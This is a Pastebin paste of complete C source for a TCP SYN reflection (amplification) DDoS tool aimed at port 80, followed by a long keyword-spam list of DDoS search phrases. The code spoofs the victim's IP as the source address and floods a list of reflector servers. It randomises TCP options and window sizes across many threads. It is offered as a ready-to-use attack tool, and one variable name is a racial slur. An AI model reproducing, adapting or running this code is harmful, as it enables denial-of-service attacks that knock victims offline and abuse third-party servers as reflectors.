Advertisement
oxlight

tcpamp port 80 amp attack

Nov 27th, 2021
2,847
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.90 KB | None | 0 0
  1. // port 80 tcp amp only for amp list
  2.  
  3. #include <unistd.h>
  4. #include <time.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <sys/ioctl.h>
  8. #include <string.h>
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <pthread.h>
  12. #include <netinet/tcp.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/in.h>
  15. #include <netinet/if_ether.h>
  16. #include <netdb.h>
  17. #include <net/if.h>
  18. #include <arpa/inet.h>
  19. #define MAX_PACKET_SIZE 4096
  20. #define PHI 0x9e3779b9
  21. static unsigned long int Q[4096], c = 362436;
  22. static unsigned int floodport;
  23. struct list
  24. {
  25.     struct sockaddr_in data;
  26.     struct list *next;
  27.     struct list *prev;
  28. };
  29. struct list *head;
  30. volatile int limiter;
  31. volatile unsigned int pps;
  32. volatile unsigned int sleeptime = 100;
  33. struct thread_data{ int thread_id; int dport; struct list *list_node; struct sockaddr_in sin; };
  34. void init_rand(unsigned long int x)
  35. {
  36.         int i;
  37.         Q[0] = x;
  38.         Q[1] = x + PHI;
  39.         Q[2] = x + PHI + PHI;
  40.         for (i = 3; i < 4096; i++){ Q[i] = Q[i] ^ Q[i] ^ PHI ^ i; }
  41. }
  42. unsigned long int rand_cmwc(void)
  43. {
  44.         unsigned long long int t, a = 18782LL;
  45.         static unsigned long int i = 4095;
  46.         unsigned long int x, r = 0xfffffffe;
  47.         i = (i + 1) & 4095;
  48.         t = a * Q[i] + c;
  49.         c = (t >> 32);
  50.         x = t + c;
  51.         if (x < c) {
  52.         x++;
  53.         c++;
  54.         }
  55.         return (Q[i] = r - x);
  56. }
  57. int randnum(int min_num, int max_num)
  58. {
  59.     int result = 0, low_num = 0, hi_num = 0;
  60.  
  61.     if (min_num < max_num)
  62.     {
  63.         low_num = min_num;
  64.         hi_num = max_num + 1;
  65.     } else {
  66.         low_num = max_num + 1;
  67.         hi_num = min_num;
  68.     }
  69.  
  70.  
  71.     result = (rand_cmwc() % (hi_num - low_num)) + low_num;
  72.     return result;
  73. }
  74. unsigned short csum (unsigned short *buf, int count)
  75. {
  76.         register unsigned long sum = 0;
  77.         while( count > 1 ) { sum += *buf++; count -= 2; }
  78.         if(count > 0) { sum += *(unsigned char *)buf; }
  79.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  80.         return (unsigned short)(~sum);
  81. }
  82. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
  83.         struct tcp_pseudo
  84.         {
  85.         unsigned long src_addr;
  86.         unsigned long dst_addr;
  87.         unsigned char zero;
  88.         unsigned char proto;
  89.         unsigned short length;
  90.         } pseudohead;
  91.         unsigned short total_len = iph->tot_len;
  92.         pseudohead.src_addr=iph->saddr;
  93.         pseudohead.dst_addr=iph->daddr;
  94.         pseudohead.zero=0;
  95.         pseudohead.proto=IPPROTO_TCP;
  96.         pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
  97.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
  98.         unsigned short *tcp = malloc(totaltcp_len);
  99.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  100.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
  101.         unsigned short output = csum(tcp,totaltcp_len);
  102.         free(tcp);
  103.         return output;
  104. }
  105. void setup_ip_header(struct iphdr *iph)
  106. {
  107.         iph->ihl = 5;
  108.         iph->version = 4;
  109.         iph->tos = 0;
  110.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 24;
  111.         iph->id = htonl(54321);
  112.         iph->frag_off = htons(0x4000);
  113.         iph->ttl = 255;
  114.         iph->protocol = IPPROTO_TCP;
  115.         iph->check = 0;
  116.         iph->saddr = inet_addr("192.168.3.100");
  117. }
  118. void setup_tcp_header(struct tcphdr *tcph)
  119. {
  120.         tcph->source = htons(80);
  121.         tcph->check = 0;
  122.         memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89", 24); // tcp options
  123.         //memcpy((void *)tcph + sizeof(struct tcphdr) + 24, "\x55\x53\x45\x52\x20\x63\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x73\x61\x6e\x64\x65\x72\x73\x0d\x0a", 15);
  124.         tcph->syn = 1;
  125.         tcph->window = htons(64240);
  126.         tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
  127. }
  128. void *flood(void *par1)
  129. {
  130.         struct thread_data *td = (struct thread_data *)par1;
  131.         char datagram[MAX_PACKET_SIZE];
  132.         struct iphdr *iph = (struct iphdr *)datagram;
  133.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  134.         struct sockaddr_in sin = td->sin;
  135.         struct  list *list_node = td->list_node;
  136.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  137.         if(s < 0){
  138.         fprintf(stderr, "Could not open raw socket.\n");
  139.         exit(-1);
  140.         }
  141.         memset(datagram, 0, MAX_PACKET_SIZE);
  142.         setup_ip_header(iph);
  143.         setup_tcp_header(tcph);
  144.         tcph->dest = htons(21);
  145.         iph->saddr = sin.sin_addr.s_addr;
  146.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  147.         int tmp = 1;
  148.         int niggershot = 30120;
  149.         const int *val = &tmp;
  150.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  151.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  152.         exit(-1);
  153.         }
  154.         init_rand(time(NULL));
  155.         register unsigned int i;
  156.         i = 0;
  157.         while(1){
  158.         tcph->check = 0;
  159.         tcph->seq = htonl(rand_cmwc() & 0xFFFFFFFFF);
  160.         tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
  161.         tcph->dest = htons(80);
  162.         iph->ttl = 255;
  163.         //iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  164.         list_node = list_node->next;
  165.         iph->daddr = list_node->data.sin_addr.s_addr;
  166.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  167.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  168.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  169.         //tcph->source = htons(td->dport);
  170.         tcph->dest = htons(80);
  171.         tcph->check = tcpcsum(iph, tcph, 24);
  172.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  173.         //packet edit
  174.         int windows[3] = {29200, 64240, 65535};
  175.         int ctos[3] = {0, 40, 72};
  176.         iph->tos = ctos[randnum(0,2)];
  177.         char stronka[] = "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89";
  178.         stronka[2] = randnum(4, 5);
  179.         stronka[3] = stronka[2] == 5 ? randnum(1, 180) : randnum(1, 250);
  180.         stronka[7] = 10;
  181.         stronka[8] = randnum(1, 250);
  182.         stronka[17] = 3;
  183.         stronka[18] = 3;
  184.         stronka[19] = randnum(6,9);
  185.         stronka[20] = 34;
  186.         stronka[22] = randnum(1,255);
  187.         stronka[23] = randnum(1,255);
  188.         tcph->window = htons(windows[randnum(0,2)]);
  189.         const char *newpayload = stronka;
  190.         memcpy((void *)tcph + sizeof(struct tcphdr), newpayload, 24);
  191.         pps++;
  192.         if(i >= limiter)
  193.         {
  194.         i = 0;
  195.         usleep(sleeptime);
  196.         }
  197.         i++;
  198.         }
  199. }
  200. int main(int argc, char *argv[ ])
  201. {
  202.     if(argc < 6){
  203.     fprintf(stderr, "Invalid parameters!\n");
  204.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  205.         exit(-1);
  206.     }
  207.     srand(time(NULL));
  208.     int i = 0;
  209.     head = NULL;
  210.     fprintf(stdout, "Setting up sockets...\n");
  211.     int floodport = atoi(argv[2]);
  212.     int max_len = 512;
  213.     char *buffer = (char *) malloc(max_len);
  214.     buffer = memset(buffer, 0x00, max_len);
  215.     int num_threads = atoi(argv[4]);
  216.     int maxpps = atoi(argv[5]);
  217.     limiter = 0;
  218.     pps = 0;
  219.     int multiplier = 100;
  220.     FILE *list_fd = fopen(argv[3],  "r");
  221.     while (fgets(buffer, max_len, list_fd) != NULL) {
  222.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  223.                 (buffer[strlen(buffer) - 1] == '\r')) {
  224.             buffer[strlen(buffer) - 1] = 0x00;
  225.             if(head == NULL)
  226.             {
  227.                 head = (struct list *)malloc(sizeof(struct list));
  228.                 bzero(&head->data, sizeof(head->data));
  229.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  230.                 head->next = head;
  231.                 head->prev = head;
  232.             } else {
  233.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  234.                 memset(new_node, 0x00, sizeof(struct list));
  235.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  236.                 new_node->prev = head;
  237.                 new_node->next = head->next;
  238.                 head->next = new_node;
  239.             }
  240.             i++;
  241.         } else {
  242.             continue;
  243.         }
  244.     }
  245.     struct list *current = head->next;
  246.     pthread_t thread[num_threads];
  247.     struct sockaddr_in sin;
  248.     sin.sin_family = AF_INET;
  249.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  250.     struct thread_data td[num_threads];
  251.     for(i = 0;i<num_threads;i++){
  252.         td[i].thread_id = i;
  253.         td[i].sin= sin;
  254.         td[i].dport= floodport;
  255.         td[i].list_node = current;
  256.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  257.     }
  258.     fprintf(stdout, "Starting flood...\n");
  259.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  260.     {
  261.         usleep((1024/multiplier)*1024);
  262.         if((pps*multiplier) > maxpps)
  263.         {
  264.             if(1 > limiter)
  265.             {
  266.                 sleeptime+=100;
  267.             } else {
  268.                 limiter--;
  269.             }
  270.         } else {
  271.             limiter++;
  272.             if(sleeptime > 25)
  273.             {
  274.                 sleeptime-=25;
  275.             } else {
  276.                 sleeptime = 0;
  277.             }
  278.         }
  279.         pps = 0;
  280.     }
  281.     return 0;
  282. }
  283.  
  284. ddos attack
  285. ddos meaning
  286. ddos attack meaning
  287. ddosecrets
  288. ddos attacks today
  289. ddos protection
  290. doxing
  291. ddos definition
  292. ddos tool
  293. ddos vs dos
  294. ddos attack tools
  295. ddos attack definition
  296. ddos attack example
  297. ddos acronym
  298. ddos attack prevention
  299. a ddos attack
  300. a ddos attack can cause
  301. a ddos attack quizlet
  302. a ddos attack is more intensive than
  303. a ddos attack is performed at layer 7
  304. what is ddos attack example
  305. what happens during a ddos attack
  306. ddos botnet
  307. ddos bandwidth
  308. ddos bot
  309. ddos bots tf2
  310. ddos botnet github
  311. ddos botnet free
  312. ddos bitcoin
  313. ddos bot discord
  314. ddos checker
  315. ddos cyber attack
  316. ddos cloudflare
  317. ddos crime
  318. ddos computer
  319. ddos crypto
  320. ddos cyber security
  321. ddos cannon
  322. c ddos script
  323. c ddos github
  324. ddos c
  325. juno.c ddos
  326. ddos c'est quoi
  327. ddos c quoi
  328. ddos3r.c
  329. attaque ddos c'est quoi
  330. ddos def
  331. ddos definition computer
  332. ddos detection
  333. ddos defense
  334. ddos define
  335. ddos discord bot
  336. ddos download
  337. ddossed
  338. ddos examples
  339. ddos explained
  340. ddos extortion
  341. ddos email
  342. ddos error
  343. ddos event
  344. ddos effects
  345. ddos exploit
  346. exponential-e ddos
  347. ddos e dos
  348. ddos e crime
  349. ddos e crime portugal
  350. ddos e dns
  351. o'que e ddos
  352. oq e ddos
  353. email ddos
  354. ddos free
  355. ddos for hire
  356. ddos federal crime
  357. ddos felony
  358. ddos full form
  359. ddos fine
  360. ddos free online
  361. ddos ffxiv
  362. f-list ddos
  363. f-secure ddos
  364. ddos gaming
  365. ddos guide
  366. ddos guard verizon
  367. ddos gaming meaning
  368. ddos gif
  369. ddos google
  370. ddos gta online
  371. ddos guide destiny
  372. ddosing
  373. ddos hack
  374. ddos how to
  375. ddos hackers
  376. ddos how to prevent
  377. ddos hosting
  378. ddos hyper
  379. ddos happening now
  380. ddos history
  381. ddos ip
  382. ddos illegal
  383. ddos internet
  384. ddos ip address online
  385. ddos in gaming
  386. ddos in cyber security
  387. ddos images
  388. ddos ion cannon
  389. ddosed
  390. i ddos him
  391. ddos i cmd
  392. i got ddosed
  393. can i ddos myself
  394. am i ddos
  395. i'm getting ddosed
  396. can i ddos my friend
  397. ddos jail time
  398. ddos jobs
  399. ddos jokes
  400. ddos jelentése
  401. ddos java
  402. ddos juniper
  403. ddos javascript
  404. ddos java code
  405. j-ddos-sec-ap 4
  406. ddos kali linux
  407. ddos kahoot
  408. ddos kiwibank
  409. ddos kya hai
  410. ddos ka full form
  411. ddos kubernetes
  412. ddos kali linux 2021
  413. ddos kali linux tools
  414. s k ddos
  415. ddos league of legends
  416. ddos live map
  417. ddos link
  418. ddos legality
  419. ddos law
  420. ddos lumen
  421. ddos layers
  422. ddos linux
  423. l'attaque ddos
  424. ddos mitigation
  425. ddos map
  426. ddos meaning gaming
  427. ddos mitigation techniques
  428. ddos mitigation services
  429. ddos meaning slang
  430. ddos me
  431. ddos m
  432. ddos fivem
  433. m.pifra/ddos
  434. m-net ddos
  435. ddos news
  436. ddos network
  437. ddos networkchuck
  438. ddos network attack
  439. ddos now
  440. ddos nintendo switch
  441. ddos netflix
  442. ddos news today
  443. ddos online
  444. ddos online tool
  445. ddos on xbox
  446. ddos overwatch
  447. ddos on voip
  448. ddos orbital ion cannon
  449. ddos online free
  450. ddos on ps4
  451. ddos o que é
  452. ddos o dos
  453. o que ddos
  454. o q é ddos
  455. ataques ddos o que são
  456. o que sao dados
  457. como funciona o ddos
  458. o que ataque ddos
  459. ddos prevention
  460. ddos panel
  461. ddos protection guide
  462. ddos protection azure
  463. ddos prevention tools
  464. ddos protection aws
  465. ddos protection by cloudflare stuck
  466. ddos p
  467. ddos questions
  468. ddos que es
  469. ddos quick guide
  470. ddos quotes
  471. ddos quiz
  472. ddos questions to ask
  473. ddos quora
  474. ddos que é
  475. ddos roblox
  476. ddos reflection attack
  477. ddos ransomware
  478. ddos router
  479. ddos report
  480. ddos r6
  481. ddos roblox server
  482. ddos rate limiting
  483. r/ddos
  484. ddos stands for
  485. ddos software
  486. ddos site
  487. ddos service
  488. ddos script
  489. ddos someone
  490. ddos someones ip
  491. is ddosing illegal
  492. is ddos a felony
  493. is ddos a federal crime
  494. is ddos illegal in us
  495. is ddos a crime
  496. is ddos legal
  497. is ddos hacking
  498. is ddosing on xbox illegal
  499. ddos test
  500. ddos tracker
  501. ddos tool download
  502. ddos tutorial
  503. ddos today
  504. ddos tool online
  505. ddos tf2
  506. ddos t mobile
  507. at&t ddos
  508. at&t ddos protection
  509. at&t ddos attack
  510. at&t ddos attack 2020
  511. t mobile ddos reddit
  512. nsx-t ddos
  513. at&t ddos pricing
  514. ddos urban dictionary
  515. ddos udp
  516. ddos using kali linux
  517. ddos udp flood
  518. ddos using cmd
  519. ddos using ip
  520. ddos us
  521. ddos uk
  522. ddos u.s
  523. ddos u hrvatskoj
  524. can u ddos a phone
  525. can u ddos
  526. can u ddos closed port
  527. how do u ddos someone
  528. how do u ddos
  529. u.s under ddos attack
  530. ddos voip
  531. ddos vs dox
  532. ddos vector
  533. ddos voip.ms
  534. ddos verizon
  535. ddos vendors
  536. ddos virus
  537. gta v ddos
  538. gta v ddos attack
  539. what are the three types of dos and ddos attacks
  540. the difference between ddos and dos
  541. what is a dos and ddos attack
  542. ddos website
  543. ddos website free
  544. ddos website tool
  545. ddos wifi
  546. ddos what is
  547. ddos wiki
  548. ddos with ip
  549. ddos warzone
  550. ddos with cmd
  551. ddos w notatniku
  552. dos ddos
  553. jak ddosowac w cmd
  554. ataki ddos w polsce
  555. ddos w sieci lokalnej
  556. ddos w grach
  557. ddos w cs go
  558. ddos xbox
  559. ddos xbox gamertag
  560. ddos xbox live
  561. ddos xbox booter
  562. ddos xbox party
  563. ddos xfinity
  564. ddos xbox reddit
  565. ddos xmlrpc.php
  566. edgerouter x ddos protection
  567. project x ddos
  568. xbox series x ddos protection
  569. x-forwarded-for ddos
  570. sophos intercept x ddos
  571. dos and ddos
  572. ddos yourself
  573. ddos youtube
  574. ddos yesterday
  575. ddos yourself test
  576. ddos yandex
  577. ddos your own network
  578. ddos your school
  579. ddos your own internet
  580. ddos y dos
  581. diferencia dos y ddos
  582. ddos zombie
  583. ddos zoom meeting
  584. ddos zombie nets
  585. ddos zscaler
  586. ddos zoom
  587. ddos znacenje
  588. ddos vent
  589. ddos zoom host
  590. dayz ddos attack
  591. world war z dogs
  592. jak z ddosowac kolege
  593. jak z ddosować internet
  594. jak kogoś z ddosować
  595. strony z ddos
  596. ddos 0ad
  597. ddos port 0
  598. ddos trackid=sp-006
  599. ddos samp server 0.3.7
  600. 01 ddos
  601. port 0 ddos
  602. 0 que é ddos
  603. ddos 127.0.0.1
  604. ddos 101
  605. ddos 100 gbps
  606. ddos 1gbps
  607. ddos 1tb
  608. ddos 1tbps
  609. ddos 1 catalina
  610. ddos 10gbps
  611. 1. ddos attack
  612. ddosr-1
  613. titanfall 1 ddos
  614. 1 tbps ddos attack
  615. layer 1 ddos
  616. 1tb ddos
  617. remote dd0sr-1
  618. ddos 2021
  619. ddos 2019
  620. ddos 2016
  621. ddos 2021 report
  622. ddos 2020 github
  623. ddos 2k20
  624. ddos 2k21
  625. ddos 2018
  626. dos 2 review
  627. titanfall 2 ddos
  628. titanfall 2 ddos attack
  629. destiny 2 ddos
  630. titanfall 2 ddos reddit
  631. destiny 2 ddos error code
  632. destiny 2 ddos protection
  633. dota 2 ddos
  634. ddos 33
  635. ddos 3389
  636. ddos 389
  637. ddos 3702
  638. ddos 3ds
  639. ddos 3d secure
  640. 3cx ddos
  641. 3283 ddos
  642. layer 3 ddos
  643. python 3 ddos script
  644. python 3 ddos attack script
  645. level 3 ddos attack today
  646. teamspeak 3 ddos protection
  647. hping3 ddos
  648. diablo 3 ddos
  649. arma 3 ddos
  650. ddos 403
  651. ddos 404 github
  652. ddos 404
  653. ddos 4chan
  654. ddos 443
  655. 4it ddos
  656. ddos layer 4
  657. ddos playstation 4
  658. layer 4 ddos
  659. layer 4 ddos github
  660. layer 4 ddos attacks
  661. battlefield 4 ddos
  662. layer 4 ddos scripts
  663. layer 4 ddos protection
  664. battlefield 4 ddos attack
  665. playstation 4 ddos
  666. ddos 503
  667. ddos 5g
  668. ddos 502 bad gateway
  669. ddos 502
  670. ddos 5.7 download
  671. ddos 504
  672. ddos 5.6 download
  673. ddos 5.7 admin guide
  674. gta 5 ddos
  675. top 5 ddos attacks
  676. layer 5 ddos
  677. 5 minute ddos
  678. battlefield 5 ddos
  679. ddos 6.2 admin guide
  680. ddos 6.2
  681. ddos 6.2 release notes
  682. ddos 6.1 admin guide
  683. ddos 6.0 download
  684. ddos 6.0 admin guide
  685. ddos 6.2 command reference guide
  686. ddos 6.1
  687. ddos 6/15/20
  688. rainbow 6 ddos
  689. rainbow 6 ddos attack
  690. layer 6 ddos
  691. centos 6 ddos
  692. ntp mode 6 ddos
  693. ddos 7.2 admin guide
  694. ddos 7.6 admin guide
  695. ddos 7.1 admin guide
  696. ddos 7.4 admin guide
  697. ddos 7.3 admin guide
  698. ddos 7.5 admin guide
  699. ddos 7.6 administration guide
  700. ddos 7.0 release notes
  701. ddos 7 layer
  702. ddos 7 admin guide
  703. ddos 7
  704. ddos 7 administration guide
  705. layer 7 ddos attack
  706. layer 7 ddos script github
  707. layer 7 ddos attack tool
  708. layer 7 ddos attack types
  709. ddos 8nv
  710. ddos 8.8.8.8
  711. 8x8 ddos attack
  712. ddos port 80
  713. ddos port 80 and 443
  714. anti ddos 8080
  715. ddos port 8080
  716. ddos attack port 80
  717. 8 best ddos attack tools
  718. centos 8 ddos protection
  719. centos 8 ddos
  720. continent8 ddos
  721. 8 ball pool ddos
  722. ddos 9/15/21
  723. ddos 911
  724. 9anime ddos attack
  725. 911 ddos threat analysis and mitigation
  726. ddos attack 9/15/21
  727. asr 9000 ddos
  728. cisco 9300 ddos
  729. tomcat 9 ddos
  730. debian 9 ddos protection
  731. sophos utm 9 ddos
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement